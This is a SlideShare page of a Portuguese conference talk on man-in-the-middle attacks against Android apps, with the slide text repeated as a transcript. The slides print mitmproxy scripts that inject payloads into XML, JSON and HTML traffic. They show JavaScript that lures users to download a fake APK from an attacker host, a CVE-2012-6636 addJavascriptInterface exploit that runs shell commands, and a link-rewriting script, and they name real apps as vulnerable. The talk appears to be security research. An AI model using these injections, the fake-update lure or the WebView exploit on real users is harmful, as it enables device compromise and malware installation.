SlideShare uma empresa Scribd logo
Security BSides São Paulo ed naovaitercopa
Ataques MITM a Aplicativos Android
Abusando da confiança dos desenvolvedores
Ivan Joker Jeukens
ivanjokerbr@gmail.com
Menu
● Conclusões
● Motivação
● Setup operacional
● Injetando
● Payload 1
● Payload 2
● Payload 3
● Praticidade
Conclusões
Nenhum aplicativo* valida seus dados
transmitidos
Só o https enche o saco
Motivação
● Nasceu de web app pentest
● Muitos aplicativos são navegadores modificados e/ou
incrementados (WebView, ChromeWebView, etc)
● Vantagem
– Temos o código do cliente, além das responstas do
server!
– Ofuscação .. uhh?!
● Idéia inicial
– Capturar na direção aplicativo → servidor
● Perigo
– Ataques direcionados
Setup operacional
● Android SDK
– AVD Android 4.0.3 CPU/ABI Intel Atom
● mitmproxy.org
– Scripts em python para manipular requests e responses
● code.google.com/p/android-apktool/
– descompactar e produzir os .smali
● github.com/egirault/googleplay-api.git
– scripts para baixar aplicativos do play
● mitm na real
– iptables e airbase-ng
Injetando
def response(ctx, flow):
if flow.response.content != None and isXml(flow.response.headers['Content-Type']):
etype = flow.response.headers['Content-Encoding'];
flow.response.decode()
root = etree.XML(flow.response.content, parser)
processXML(root)
flow.response.content = etree.tostring(root, encoding='UTF-8')
flow.response.headers['Content-Encoding'] = etype;
if 'gzip' in etype:
flow.response.encode('gzip')
elif flow.response.content != None and (isJson(flow.response.headers['Content-Type']) or
isJavascript(flow.response.headers['Content-Type']) ):
….
elif flow.response.content != None and isHtmlText( flow.response.headers['Content-Type'] ):
….
Injetando
def processXML(data, log):
for child in data.iter():
if child != None:
if child.tag != None and isinstance(child.tag, basestring):
if len(child) == 0:
if child.text != None:
if scanForHtmlTag(child.text):
child.text = payload
payload = '<img width="30" height="43" title="" alt="" src="data:image/png;base64,.....
● XML
Injetando
def processJson(data):
if type(data) is list:
for m in data:
processJson(m)
elif type(data) is dict:
for key in data:
if isinstance(data[key], unicode):
if scanForHtmlTag(data[key]):
data[key] = data[key] + payload
else:
processJson(data[key])
else:
return
● JSON
Injetando
htmldata = BeautifulSoup(flow.response.content)
body = htmldata.body
body.append(payload)
● HTML
Payload 1
● Engenharia Social
● Aplicativo da Veja
Payload 1
Payload1
.class public Lcom/matera/veja/ui/StoryDetail;
….
.method private createWebView()V
….
Payload 1
Payload 1
Payload 1
Payload 1
● Uma imagem bonita …
– “seu aplicativo está desatualizado e em risco”
● Um pouco de javascript
<script>
function fase2() {
var img = document.getElementById("chupacabra");
img.src = "data:image/gif;base64....."; /* thanks */
}
function goDown() {
window.location.href = "http://joker.com/com.matera.veja.apk";
setTimeout( fase2, 3000 );
}
</script>
<img id="chupacabra" onclick="goDown()" width="212" height="50" title="" alt=""
src="data:image/gif;base64.... />
Payload 1
● Cruzar os dedos
Payload 2
● CVE-2012-6636
– The Android API before 17 does not properly restrict the
WebView.addJavascriptInterface method
● Afeta android < 4.2 … em teoria
– Alguns 2.3.X não funciona
– Alguns 3.X não funciona 100%
● Around 70% of all Android devices in the field are subject to a
Javascript exploit that could allow an attacker remote access to your
phone by doing nothing more than surfing to a malicious page or
scanning in a malicious QR Code.
– Bibliotecas de propaganda
Payload 2
● Problemas na ponte javascript → java
– addJavascriptInterface( )
<script>
function execute(args) {
return window.Attack.getClass().forName('java.lang.Runtime').getMethod('getRuntime',
null).invoke(null,null).exec(args);
}
</script>
</head>
<body>
<script>
execute(['/system/bin/sh','-c','echo -n "JOKER" > /data/data/test.webview/pwnd.txt']);
</script>
WebSettings webSettings = browser.getSettings();
webSettings.setJavaScriptEnabled(true);
browser.addJavascriptInterface(new JsInvokeClass(), "Attack");
Payload 2
● Android > 4.2
– obriga @JavascriptInterface method wise
● Estatísticas
● googleplay-api
– script para baixar os 100 mais populares aplicativos
gratuítos de todas as classes
2379 Apps baixados
922 tem addJavascript Interface
339 (14%) não tem anotação @JavascriptInterface
Payload 2
Payload 2
.class public Lbr/com/gabba/Caixa/CaixaWebViewActivity;
.super Landroid/app/Activity;
….
const-string v7, "Android"
invoke-virtual {v5, v6, v7},
Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
….
const-string v7, "HTMLOUT"
invoke-virtual {v5, v6, v7},
Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
Payload 3
● Link changer
def processJson(data):
if type(data) is list:
for m in data:
processJson(m)
elif type(data) is dict:
for key in data:
if isinstance(data[key], unicode):
if scanForHtmlTag(data[key]):
data[key] = data[key] + payload
elif "http://" in data[key]:
data[key] = "http://www.joker.com.br"
else:
processJson(data[key])
Payload 3
Payload 3
Payload 3
Payload 3
Payload 3
Praticidade
● Precisa:
– estar perto do alvo (wifi range)
– ter sorte de achar algum probe dele ou ele gostar do seu AP
– Ter uma DB de aplicativos vulneráveis e escanear os
requests atrás de um....
– ...ou...
– Ser dedicado e fazer um recon do alvo antes, ir para o lab, e
voltar com os apps que são vulneráveis
– Pegar o momento do request
Dúvidas?
GRATO POR ASSISTIR!

Mais conteúdo relacionado

Semelhante a Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores

Evolução das arquiteturas para aplicações Web
Evolução das arquiteturas para aplicações WebEvolução das arquiteturas para aplicações Web
Evolução das arquiteturas para aplicações Web
Breno Vitorino
 
Aplicações Móveis com J2ME
Aplicações Móveis com J2MEAplicações Móveis com J2ME
Aplicações Móveis com J2ME
elliando dias
 
Desenvolvimento android braga_geek_nights (1)
Desenvolvimento android braga_geek_nights (1)Desenvolvimento android braga_geek_nights (1)
Desenvolvimento android braga_geek_nights (1)
muldy
 
Phonegap
PhonegapPhonegap
Phonegap
Lucas Brigida
 
Segurança no Android
Segurança no AndroidSegurança no Android
Segurança no Android
Euler Neto
 
Chrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosa
Chrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosaChrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosa
Chrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosa
Joselito Nascimento
 
O poder das Progressive Web Apps
O poder das Progressive Web AppsO poder das Progressive Web Apps
O poder das Progressive Web Apps
Pedro Edson Silva Barros
 
Internet das Coisas com Android things e Machine Learning
Internet das Coisas com Android things e Machine LearningInternet das Coisas com Android things e Machine Learning
Internet das Coisas com Android things e Machine Learning
Alvaro Viebrantz
 
Desenvolvedor mobile precisa aprender Web
Desenvolvedor mobile precisa aprender Web Desenvolvedor mobile precisa aprender Web
Desenvolvedor mobile precisa aprender Web
Jean Carlo Emer
 
Desenvolvendo aplicacoes mobile_com_html_css_
Desenvolvendo aplicacoes mobile_com_html_css_Desenvolvendo aplicacoes mobile_com_html_css_
Desenvolvendo aplicacoes mobile_com_html_css_
Rodrigo Urubatan
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
tdc-globalcode
 
Apresentação Google Android
Apresentação Google AndroidApresentação Google Android
Apresentação Google Android
Rodrigo Cascarrolho
 
SESTINFO 2011 Apresentacao Android
SESTINFO 2011 Apresentacao AndroidSESTINFO 2011 Apresentacao Android
SESTINFO 2011 Apresentacao Android
Rafael Sakurai
 
2017 08-11 - Androidos V - Minicurso - Introdução ao android
2017 08-11 - Androidos V - Minicurso - Introdução ao android2017 08-11 - Androidos V - Minicurso - Introdução ao android
2017 08-11 - Androidos V - Minicurso - Introdução ao android
Messias Batista
 
Criando uma grid para execução de testes paralelo com Appium
Criando uma grid para execução de testes paralelo com AppiumCriando uma grid para execução de testes paralelo com Appium
Criando uma grid para execução de testes paralelo com Appium
Elias Nogueira
 
Introdução à programação em Android SENAC 17.06.2013
Introdução à programação em Android SENAC 17.06.2013Introdução à programação em Android SENAC 17.06.2013
Introdução à programação em Android SENAC 17.06.2013
guisester
 
Android
AndroidAndroid
Android Lollipop e Android Wear
Android Lollipop e Android WearAndroid Lollipop e Android Wear
Android Lollipop e Android Wear
Silas Limeira
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
Marcio Cunha
 
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Luiz Vieira .´. CISSP, OSCE, GXPN, CEH
 

Semelhante a Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores (20)

Evolução das arquiteturas para aplicações Web
Evolução das arquiteturas para aplicações WebEvolução das arquiteturas para aplicações Web
Evolução das arquiteturas para aplicações Web
 
Aplicações Móveis com J2ME
Aplicações Móveis com J2MEAplicações Móveis com J2ME
Aplicações Móveis com J2ME
 
Desenvolvimento android braga_geek_nights (1)
Desenvolvimento android braga_geek_nights (1)Desenvolvimento android braga_geek_nights (1)
Desenvolvimento android braga_geek_nights (1)
 
Phonegap
PhonegapPhonegap
Phonegap
 
Segurança no Android
Segurança no AndroidSegurança no Android
Segurança no Android
 
Chrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosa
Chrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosaChrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosa
Chrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosa
 
O poder das Progressive Web Apps
O poder das Progressive Web AppsO poder das Progressive Web Apps
O poder das Progressive Web Apps
 
Internet das Coisas com Android things e Machine Learning
Internet das Coisas com Android things e Machine LearningInternet das Coisas com Android things e Machine Learning
Internet das Coisas com Android things e Machine Learning
 
Desenvolvedor mobile precisa aprender Web
Desenvolvedor mobile precisa aprender Web Desenvolvedor mobile precisa aprender Web
Desenvolvedor mobile precisa aprender Web
 
Desenvolvendo aplicacoes mobile_com_html_css_
Desenvolvendo aplicacoes mobile_com_html_css_Desenvolvendo aplicacoes mobile_com_html_css_
Desenvolvendo aplicacoes mobile_com_html_css_
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
 
Apresentação Google Android
Apresentação Google AndroidApresentação Google Android
Apresentação Google Android
 
SESTINFO 2011 Apresentacao Android
SESTINFO 2011 Apresentacao AndroidSESTINFO 2011 Apresentacao Android
SESTINFO 2011 Apresentacao Android
 
2017 08-11 - Androidos V - Minicurso - Introdução ao android
2017 08-11 - Androidos V - Minicurso - Introdução ao android2017 08-11 - Androidos V - Minicurso - Introdução ao android
2017 08-11 - Androidos V - Minicurso - Introdução ao android
 
Criando uma grid para execução de testes paralelo com Appium
Criando uma grid para execução de testes paralelo com AppiumCriando uma grid para execução de testes paralelo com Appium
Criando uma grid para execução de testes paralelo com Appium
 
Introdução à programação em Android SENAC 17.06.2013
Introdução à programação em Android SENAC 17.06.2013Introdução à programação em Android SENAC 17.06.2013
Introdução à programação em Android SENAC 17.06.2013
 
Android
AndroidAndroid
Android
 
Android Lollipop e Android Wear
Android Lollipop e Android WearAndroid Lollipop e Android Wear
Android Lollipop e Android Wear
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
 
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
 

Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores

  • 1. Security BSides São Paulo ed naovaitercopa Ataques MITM a Aplicativos Android Abusando da confiança dos desenvolvedores Ivan Joker Jeukens ivanjokerbr@gmail.com
  • 2. Menu ● Conclusões ● Motivação ● Setup operacional ● Injetando ● Payload 1 ● Payload 2 ● Payload 3 ● Praticidade
  • 3. Conclusões Nenhum aplicativo* valida seus dados transmitidos Só o https enche o saco
  • 4. Motivação ● Nasceu de web app pentest ● Muitos aplicativos são navegadores modificados e/ou incrementados (WebView, ChromeWebView, etc) ● Vantagem – Temos o código do cliente, além das responstas do server! – Ofuscação .. uhh?! ● Idéia inicial – Capturar na direção aplicativo → servidor ● Perigo – Ataques direcionados
  • 5. Setup operacional ● Android SDK – AVD Android 4.0.3 CPU/ABI Intel Atom ● mitmproxy.org – Scripts em python para manipular requests e responses ● code.google.com/p/android-apktool/ – descompactar e produzir os .smali ● github.com/egirault/googleplay-api.git – scripts para baixar aplicativos do play ● mitm na real – iptables e airbase-ng
  • 6. Injetando def response(ctx, flow): if flow.response.content != None and isXml(flow.response.headers['Content-Type']): etype = flow.response.headers['Content-Encoding']; flow.response.decode() root = etree.XML(flow.response.content, parser) processXML(root) flow.response.content = etree.tostring(root, encoding='UTF-8') flow.response.headers['Content-Encoding'] = etype; if 'gzip' in etype: flow.response.encode('gzip') elif flow.response.content != None and (isJson(flow.response.headers['Content-Type']) or isJavascript(flow.response.headers['Content-Type']) ): …. elif flow.response.content != None and isHtmlText( flow.response.headers['Content-Type'] ): ….
  • 7. Injetando def processXML(data, log): for child in data.iter(): if child != None: if child.tag != None and isinstance(child.tag, basestring): if len(child) == 0: if child.text != None: if scanForHtmlTag(child.text): child.text = payload payload = '<img width="30" height="43" title="" alt="" src="data:image/png;base64,..... ● XML
  • 8. Injetando def processJson(data): if type(data) is list: for m in data: processJson(m) elif type(data) is dict: for key in data: if isinstance(data[key], unicode): if scanForHtmlTag(data[key]): data[key] = data[key] + payload else: processJson(data[key]) else: return ● JSON
  • 9. Injetando htmldata = BeautifulSoup(flow.response.content) body = htmldata.body body.append(payload) ● HTML
  • 10. Payload 1 ● Engenharia Social ● Aplicativo da Veja
  • 16. Payload 1 ● Uma imagem bonita … – “seu aplicativo está desatualizado e em risco” ● Um pouco de javascript <script> function fase2() { var img = document.getElementById("chupacabra"); img.src = "data:image/gif;base64....."; /* thanks */ } function goDown() { window.location.href = "http://joker.com/com.matera.veja.apk"; setTimeout( fase2, 3000 ); } </script> <img id="chupacabra" onclick="goDown()" width="212" height="50" title="" alt="" src="data:image/gif;base64.... />
  • 18. Payload 2 ● CVE-2012-6636 – The Android API before 17 does not properly restrict the WebView.addJavascriptInterface method ● Afeta android < 4.2 … em teoria – Alguns 2.3.X não funciona – Alguns 3.X não funciona 100% ● Around 70% of all Android devices in the field are subject to a Javascript exploit that could allow an attacker remote access to your phone by doing nothing more than surfing to a malicious page or scanning in a malicious QR Code. – Bibliotecas de propaganda
  • 19. Payload 2 ● Problemas na ponte javascript → java – addJavascriptInterface( ) <script> function execute(args) { return window.Attack.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null,null).exec(args); } </script> </head> <body> <script> execute(['/system/bin/sh','-c','echo -n "JOKER" > /data/data/test.webview/pwnd.txt']); </script> WebSettings webSettings = browser.getSettings(); webSettings.setJavaScriptEnabled(true); browser.addJavascriptInterface(new JsInvokeClass(), "Attack");
  • 20. Payload 2 ● Android > 4.2 – obriga @JavascriptInterface method wise ● Estatísticas ● googleplay-api – script para baixar os 100 mais populares aplicativos gratuítos de todas as classes 2379 Apps baixados 922 tem addJavascript Interface 339 (14%) não tem anotação @JavascriptInterface
  • 22. Payload 2 .class public Lbr/com/gabba/Caixa/CaixaWebViewActivity; .super Landroid/app/Activity; …. const-string v7, "Android" invoke-virtual {v5, v6, v7}, Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V …. const-string v7, "HTMLOUT" invoke-virtual {v5, v6, v7}, Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
  • 23. Payload 3 ● Link changer def processJson(data): if type(data) is list: for m in data: processJson(m) elif type(data) is dict: for key in data: if isinstance(data[key], unicode): if scanForHtmlTag(data[key]): data[key] = data[key] + payload elif "http://" in data[key]: data[key] = "http://www.joker.com.br" else: processJson(data[key])
  • 29. Praticidade ● Precisa: – estar perto do alvo (wifi range) – ter sorte de achar algum probe dele ou ele gostar do seu AP – Ter uma DB de aplicativos vulneráveis e escanear os requests atrás de um.... – ...ou... – Ser dedicado e fazer um recon do alvo antes, ir para o lab, e voltar com os apps que são vulneráveis – Pegar o momento do request